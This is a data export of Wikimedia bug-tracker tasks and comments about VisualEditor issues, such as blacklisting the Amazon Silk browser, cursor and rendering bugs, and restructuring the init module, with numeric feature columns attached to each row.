That redirects me to another page without a user agent section...",,,1391382294,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-smutmksr4slgk2o54suc,task_subcomment,,True,c1,3,True,,,30,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,22.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,11.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,4.0,15.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,3.5185185185185186,0.8148148148148148,"(In reply to comment #4)
QUOTE
QUOTE
QUOTE

That redirects me to another page without a user agent section..."
234453,VisualEditor: Add Amazon Silk browser to blacklist,"Change 72108 had a related patch set uploaded by Jforrester:
[WIP] Blacklist Amazon Silk

https://gerrit.wikimedia.org/r/72108",,,1373041368,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-smutmksr4slgk2o54suc,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,35.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,4.4,1.0,"Change 72108 had a related patch set uploaded by Jforrester:
[WIP] Blacklist Amazon Silk

GERRIT_URL"
234449,VisualEditor: Add Amazon Silk browser to blacklist,"Well, here's the sample UA strings, plop those in your tests. :)

https://developer.amazon.com/sdk/fire/specifications.html#UserAgentStrings",,,1373039832,,PHID-USER-yek7ymogrv4qc67oilhf,True,,,PHID-TASK-smutmksr4slgk2o54suc,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,17.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2222222222222223,0.9444444444444444,"Well, here's the sample UA strings, plop those in your tests. :)

URL"
234441,VisualEditor: Add Amazon Silk browser to blacklist,"(In reply to comment #2)
> I found emulator images for the 2nd-gen Kindle Fires and HDs, but they don't
> include the browser.
> 
> *headdesk*

Mostly we just want to verify that any blacklisting we put in jquery.client based on UA string actually works. :-)",,,1373036364,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-smutmksr4slgk2o54suc,task_subcomment,,True,c1,3,True,,,0,,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,3.0,8.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,3.0,0.0,3.0,0.0,3.0,0.0,3.0,5.0,0.0,3.0,0.0,5.0,16.0,8.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.710526315789474,0.7894736842105263,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE

Mostly we just want to verify that any blacklisting we put in jquery.client based on UA string actually works. :-)"
234433,VisualEditor: Add Amazon Silk browser to blacklist,"I found emulator images for the 2nd-gen Kindle Fires and HDs, but they don't include the browser.

*headdesk*",,,1373036277,,PHID-USER-yek7ymogrv4qc67oilhf,True,,,PHID-TASK-smutmksr4slgk2o54suc,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,15.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,4.0,15.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.576923076923077,0.9230769230769231,"I found emulator images for the 2nd-gen Kindle Fires and HDs, but they don't include the browser.

*headdesk*"
234426,VisualEditor: Add Amazon Silk browser to blacklist,"Note that I've got a first-gen Kindle Fire in my collection at the office, if it needs testing. I don't have the newer generations (Android 4-based) though.",,,1373033179,,PHID-USER-yek7ymogrv4qc67oilhf,True,,,PHID-TASK-smutmksr4slgk2o54suc,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,3.0,3.0,3.0,5.0,0.0,0.0,0.0,8.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,16.0,5.0,0.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,11.0,11.0,8.0,0.0,0.0,0.0,11.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.4210526315789473,0.8947368421052632,"Note that I've got a first-gen Kindle Fire in my collection at the office, if it needs testing. I don't have the newer generations (Android 4-based) though."
52776,VisualEditor: Alien shield is mis-sized for inline content (assumes it's just one line of text high),"Copied from English Wikipedia:

Hovering over a displayed math formula in <math> tags is supposed to get a tooltip that explains that the formula can't be edited in the VisualEditor. It sort of works; but it has trouble with tall formulas. The tooltip doesn't show up unless the cursor is moved to the middle of the formula. For some formulas this is OK, as users can be reasonably expected to put their cursor in the middle. For other formulas it's not. [See the link for] the opening of [[Companion matrix]], which has both a formula that works and one that doesn't:

http://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=562893799#Math_tags


It would be more helpful if the tooltip appeared whenever the cursor was over any pixel of the formula, not just a middle pixel. Ozob (talk) 01:21, 4 July 2013 (UTC)

--------------------------
**Version**: unspecified
**Severity**: minor",Medium,50.0,1372977300,1412608037.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-ubeo6o33vz5bavixyf3q,task_description,resolved,True,c1,3,False,False,False,0,,1.0,0.0,0.0,2.0,2.5,3.0,1.5,0.0,0.0,1.0,2.0,1.5,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.5,0.0,5.0,2.0,2.0,0.5,0.0,0.5,0.5,0.5,0.5,0.0,0.5,0.0,1.0,0.0,0.5,0.0,1.5,0.5,16.5,0.5,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,1.5,0.0,8.5,3.5,10.0,2.0,1.5,10.5,0.0,0.0,0.0,0.0,3.5,0.0,1.5,0.0,2.5,11.0,3.5,0.0,0.0,0.0,2.5,0.0,2.5,2.0,0.0,0.5,0.5,0.0,2.5,3.730709507883421,0.6775561395126612,"Copied from English Wikipedia:

Hovering over a displayed math formula in <math> tags is supposed to get a tooltip that explains that the formula can't be edited in the VisualEditor. It sort of works; but it has trouble with tall formulas. The tooltip doesn't show up unless the cursor is moved to the middle of the formula. For some formulas this is OK, as users can be reasonably expected to put their cursor in the middle. For other formulas it's not. [See the link for] the opening of [[Companion matrix]], which has both a formula that works and one that doesn't:

URL


It would be more helpful if the tooltip appeared whenever the cursor was over any pixel of the formula, not just a middle pixel. Ozob (talk) 01:21, 4 July 2013 (UTC)

--------------------------
**Version**: unspecified
**Severity**: minor"
234386,VisualEditor: Alien shield is mis-sized for inline content (assumes it's just one line of text high),"This was actually a different issue (slightly), so separating it. Still FIXED, though. :-)",,,1412608037,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ubeo6o33vz5bavixyf3q,task_subcomment,,True,c1,3,True,,,66,,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,15.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,3.85,0.9,"This was actually a different issue (slightly), so separating it. Still FIXED, though. :-)"
234379,VisualEditor: Alien shield is mis-sized for inline content (assumes it's just one line of text high),"

*** This bug has been marked as a duplicate of bug 64625 ***",,,1412589972,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-ubeo6o33vz5bavixyf3q,task_subcomment,,True,c1,3,False,,,66,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 64625 ***"
52726,VisualEditor: Moving cursor up or down before a reference behaves as page up/down in Firefox,"Use Firefox 20 or 21.

Place the cursor in front of a [1] ref. Note how the cursor doesn't seem to jump to another line, but instead go to end of page or toolbar.

I don't see this on Safari 6.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=53750",Medium,50.0,1372926900,1399419638.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-joexgd3r5nmcwbofqrlr,task_description,resolved,True,c1,3,True,False,False,0,,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,1.0,0.0,6.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,14.0,1.0,4.0,6.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,1.0,9.0,4.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,3.05,0.65,"Use Firefox 20 or 21.

Place the cursor in front of a [1] ref. Note how the cursor doesn't seem to jump to another line, but instead go to end of page or toolbar.

I don't see this on Safari 6.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
231402,VisualEditor: Moving cursor up or down before a reference behaves as page up/down in Firefox,"(In reply to James Forrester from comment #3)
> I believe that it's now fixed, yes. The cursor getting stuck on down is odd
> and I'll make a new bug for that.

Now in bug 64983.",,,1399419769,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-joexgd3r5nmcwbofqrlr,task_subcomment,,True,c1,3,True,,,44,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,19.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.142857142857143,0.9047619047619048,"(In reply to James Forrester from comment #3)
QUOTE
QUOTE

Now in bug 64983."
231395,VisualEditor: Moving cursor up or down before a reference behaves as page up/down in Firefox,"I believe that it's now fixed, yes. The cursor getting stuck on down is odd and I'll make a new bug for that.",,,1399419638,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-joexgd3r5nmcwbofqrlr,task_subcomment,,True,c1,3,True,,,44,,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,11.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,11.0,4.0,4.0,11.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,3.107142857142857,0.8928571428571429,"I believe that it's now fixed, yes. The cursor getting stuck on down is odd and I'll make a new bug for that."
231388,VisualEditor: Moving cursor up or down before a reference behaves as page up/down in Firefox,"I've tested a few times, and I am not seeing a 'page down' effect now.

However using the arrow keys anywhere near references in VE cause the arrow keys to start misbehaving.

Steps to reproduce:
1. Load https://en.wikipedia.org/wiki/Jos%C3%A9_Cl%C3%A1udio_Ribeiro_da_Silva?veaction=edit which will place cursor at the beginning of the first line of text.
2. Press the right arrow until it moves past the reference at the end of the first paragraph, into the second paragraph.
3. Press up arrow

Result: The cursor disappears

Steps to reproduce:
1. Load https://en.wikipedia.org/wiki/Jos%C3%A9_Cl%C3%A1udio_Ribeiro_da_Silva?veaction=edit which will place cursor at the beginning of the first line of text.
2. Press right arrow (or use mouse) to place cursor further right on the first paragraph relative to the position of the first reference in the first paragraph.
4. Press down. (the cursor should now be directly right of of the first reference)
5. Press down.

Result: The cursor is stuck on the first reference.

(The same result can be achieved by placing the cursor in the second paragraph and pressing up)",,,1381626499,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-joexgd3r5nmcwbofqrlr,task_subcomment,,True,c1,3,False,,,14,,0.3333333333333333,0.0,0.0,1.0,0.3333333333333333,6.333333333333333,0.3333333333333333,0.0,0.0,0.0,1.6666666666666667,1.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,2.6666666666666665,11.666666666666666,0.0,1.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,2.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,1.6666666666666667,0.3333333333333333,0.0,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,16.666666666666668,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,0.0,9.666666666666666,1.6666666666666667,7.333333333333333,0.0,1.0,10.333333333333334,0.0,0.0,0.0,0.0,5.333333333333333,0.0,0.0,0.0,1.0,11.666666666666666,0.3333333333333333,0.0,0.6666666666666666,0.0,1.0,0.0,0.6666666666666666,0.6666666666666666,0.0,2.0,0.0,0.0,3.0,3.6898148148148144,0.6435185185185185,"I've tested a few times, and I am not seeing a 'page down' effect now.

However using the arrow keys anywhere near references in VE cause the arrow keys to start misbehaving.

Steps to reproduce:
1. Load URL which will place cursor at the beginning of the first line of text.
2. Press the right arrow until it moves past the reference at the end of the first paragraph, into the second paragraph.
3. Press up arrow

Result: The cursor disappears

Steps to reproduce:
1. Load URL which will place cursor at the beginning of the first line of text.
2. Press right arrow (or use mouse) to place cursor further right on the first paragraph relative to the position of the first reference in the first paragraph.
4. Press down. (the cursor should now be directly right of of the first reference)
5. Press down.

Result: The cursor is stuck on the first reference.

(The same result can be achieved by placing the cursor in the second paragraph and pressing up)"
231380,VisualEditor: Moving cursor up or down before a reference behaves as page up/down in Firefox,"Also occurs on Firefox 22, Windows & Linux & OSX.

Cant reproduce on Chrome.",,,1373950590,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-joexgd3r5nmcwbofqrlr,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,37.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3684210526315788,0.8421052631578947,"Also occurs on Firefox 22, Windows & Linux & OSX.

Cant reproduce on Chrome."
52723,VisualEditor: Generated blocks that create images directly aren't converted to use MW's skin,"It seems that the visual editor can glitch a bit when it initially renders a template. Yet when the template is altered without changes this is corrected. (Firefox 22, Mono skin)

'''Steps to reproduce:'''
* Navigate to https://en.wikipedia.org/w/index.php?title=User:Excirial/Playground/Content&oldid=562754871 (Historical revision of my sandbox)
* Edit the page in the Visual Editor. You will immediately notice that the template isn't correctly displayed.
* Enter the template setting screen and just select ""Apply Settings"".

Once that is done, the template is rendered correctly. Note that the same template was initially added trough the visual editor itself and displayed just fine. Only when you open an already saved page it seems to glitch a bit (Until the settings are applied without change - somehow that corrects it). The page reports no changes after applying, so it seems this is just a rendering issue.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1372923480,1660956979.0,PHID-USER-ohetl546bwt5ac2szu5w,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-ftkzim4nufm7ey6vnaq5,task_description,resolved,True,c1,3,False,False,False,0,,0.0,0.0,0.0,3.5,0.5,4.0,0.5,0.0,0.0,0.0,0.5,2.5,0.0,0.5,0.0,0.5,0.0,8.5,6.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.5,0.5,8.5,1.0,3.0,1.0,1.0,1.5,0.0,0.0,0.0,0.5,0.0,2.0,1.5,0.0,0.0,0.0,0.0,1.5,14.0,2.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.5,0.0,0.0,0.5,0.0,0.0,8.5,4.0,11.0,3.0,2.0,11.0,0.0,0.0,0.0,0.0,4.5,0.0,0.5,0.0,4.5,6.0,2.0,0.0,2.0,0.0,4.5,0.0,1.5,2.5,0.5,1.0,0.0,0.0,0.0,4.069428891377379,0.7090145576707727,"It seems that the visual editor can glitch a bit when it initially renders a template. Yet when the template is altered without changes this is corrected. (Firefox 22, Mono skin)

'''Steps to reproduce:'''
* Navigate to URL (Historical revision of my sandbox)
* Edit the page in the Visual Editor. You will immediately notice that the template isn't correctly displayed.
* Enter the template setting screen and just select ""Apply Settings"".

Once that is done, the template is rendered correctly. Note that the same template was initially added trough the visual editor itself and displayed just fine. Only when you open an already saved page it seems to glitch a bit (Until the settings are applied without change - somehow that corrects it). The page reports no changes after applying, so it seems this is just a rendering issue.

--------------------------
**Version**: unspecified
**Severity**: normal"
1970716,VisualEditor: Generated blocks that create images directly aren't converted to use MW's skin,"I believe that this is now long-fixed, yes.",,,1660956979,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ftkzim4nufm7ey6vnaq5,task_subcomment,,True,c1,3,True,,,476,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,"I believe that this is now long-fixed, yes."
1970657,VisualEditor: Generated blocks that create images directly aren't converted to use MW's skin,"The test page has been deleted, and this task doesn't have any details about what it contained. Is this still an issue?",,,1660948019,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-ftkzim4nufm7ey6vnaq5,task_subcomment,,True,c1,3,True,,,476,,4.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,4.0,19.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,3.769230769230769,0.9615384615384616,"The test page has been deleted, and this task doesn't have any details about what it contained. Is this still an issue?"
231212,VisualEditor: Generated blocks that create images directly aren't converted to use MW's skin,"This is an artefact of VisualEditor using Parsoid to render HTML originally, but the MediaWiki PHP parser for updates. The HTML outputted by the two are normally very similar, except for images - which, until we switch the PHP parser our for Parsoid for rendering read HTML, which will involve re-writing the entire skins system, amongst other minor issues. (See http://parsoid.wmflabs.org/en/User:Excirial/Playground/Content?oldid=562754871 for the HTML returned to VisualEditor - note the use of <figure> rather than <div class=""thumb""> etc.)

This is an image that's created by a template, so we're not re-drawing it; clearly in this case we should. Is this a special case for items that are 'typeof=""mw:Transclusion mw:Image/Frame""', or should we be traversing the template tree for all images inside generated blocks?",,,1373158925,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ftkzim4nufm7ey6vnaq5,task_subcomment,,True,c1,3,True,,,0,,0.5,0.0,0.5,0.0,0.5,2.5,2.0,0.0,0.0,0.0,0.5,2.0,0.0,0.0,0.0,3.0,0.5,3.5,12.0,0.0,0.5,1.5,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.5,0.5,5.0,1.0,0.5,0.5,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,1.5,0.0,13.0,1.0,1.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,6.5,3.5,10.5,1.0,1.0,10.5,0.0,0.0,0.0,0.0,4.0,0.0,0.5,0.0,3.5,12.0,6.5,0.5,2.5,0.0,3.5,0.0,2.5,2.5,0.0,4.5,0.0,0.0,3.0,3.9346518987341774,0.7424841772151899,"This is an artefact of VisualEditor using Parsoid to render HTML originally, but the MediaWiki PHP parser for updates. The HTML outputted by the two are normally very similar, except for images - which, until we switch the PHP parser our for Parsoid for rendering read HTML, which will involve re-writing the entire skins system, amongst other minor issues. (See URL for the HTML returned to VisualEditor - note the use of <figure> rather than <div class=""thumb""> etc.)

This is an image that's created by a template, so we're not re-drawing it; clearly in this case we should. Is this a special case for items that are 'typeof=""mw:Transclusion mw:Image/Frame""', or should we be traversing the template tree for all images inside generated blocks?"
52707,Separate ve.init and ve.platform,"Our ""init"" hasn't been init for a long time. We load a lot of classes (ext.visualEditor.base and ext.visualEditor.mediawiki) for the ViewPageTarget.

### Goal

Integration layers in MediaWiki and elsewhere would only need the `visualeditor.init` module at first. This should provide them with tools to determine whether the current environment supports VE (feature test / browser sniffing), and the ability to then (on demand) proceed and actually load the editor, with an edit surface.

The init module would provide only a lightweight `ve` and `ve.init` object with little to no dependencies. Only jquery and oojs as dependency. Not oojs-ui or anything else.

For MediaWiki this means the mw.ve.init module would also take care of checking user preferences and wiki configuration with regards to skin/namespace/contentmodel etc. And mw.ve.init would also continue to handle the various skin transformations and loading bars (which would be readily available). 

### Thoughts

Do we need Platform to bootstrap Target? Right now in standalone we do, but in MediaWiki we don't. It's up to the Target implementation to decide this. So let's keep Platform shipped in init.

Class structure:
 * ve.init.Platform
 * ve.init.Target.
 * ve.init.sa.Platform becomes ve.sa.init.Platform. `ve/sa` becomes a showcase for how to bootstrap VE. Assuming we keep this generic, we can keep it under `ve.*` and ship it by default. If it becomes a demo instead that people should not extend but instead copy from, we should move it to a global VEDemo javascript namespace or something like that.
 * ve.init.sa.Target becomes ve.sa.init.Target.
 * ve.init.mw.Target becomes mw.ve.init.Platform.

Also relevant are the feature tests. Currently only our MediaWiki platform has these feature tests, we should move these into the base  hardcoded in the MediaWiki platform. These should be moved to `ve.support` and become part of the lightweight init module.
* Feature detection (ve.support)
 * `support.es5`
 * `support.contentEditable`
 * (maybe)  `support.svg`, since we're currently repeating` ( document.createElementNS && document.createElementNS( 'http://www.w3.org/2000/svg', 'svg' ).createSVGRect` in five places.
* Browser sniffing (ve.support.browsers.{whitelist,blacklist})



See also:
{T52612}
{T75593} (and its dependencies)",Medium,50.0,1372894740,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-2p76xxlh44jpmzqza6ge,task_description,open,True,c1,3,True,False,,0,,0.0,0.4,0.0,0.2,0.8,3.0,0.4,0.0,0.0,0.2,1.8,0.6,0.0,0.8,0.0,2.2,0.0,5.4,8.4,0.4,1.2,1.0,0.2,0.0,0.0,0.2,0.0,0.0,0.2,1.0,0.2,3.8,1.2,1.2,0.2,0.0,0.0,0.2,0.2,1.2,0.2,0.2,0.2,1.4,0.0,0.0,0.0,0.0,0.0,16.4,1.0,0.8,0.2,0.2,0.4,0.0,0.0,0.2,0.6,0.2,0.6,1.0,0.0,0.6,0.0,0.0,0.0,4.0,0.8,11.6,1.0,3.2,6.2,0.0,0.0,0.0,1.2,5.0,0.0,1.2,0.0,3.8,8.4,5.4,0.2,0.4,0.0,3.8,0.0,0.4,1.4,0.2,0.6,0.0,0.0,0.2,4.244292969794173,0.6742849505479818,"Our ""init"" hasn't been init for a long time. We load a lot of classes (ext.visualEditor.base and ext.visualEditor.mediawiki) for the ViewPageTarget.

### Goal

Integration layers in MediaWiki and elsewhere would only need the CODE module at first. This should provide them with tools to determine whether the current environment supports VE (feature test / browser sniffing), and the ability to then (on demand) proceed and actually load the editor, with an edit surface.

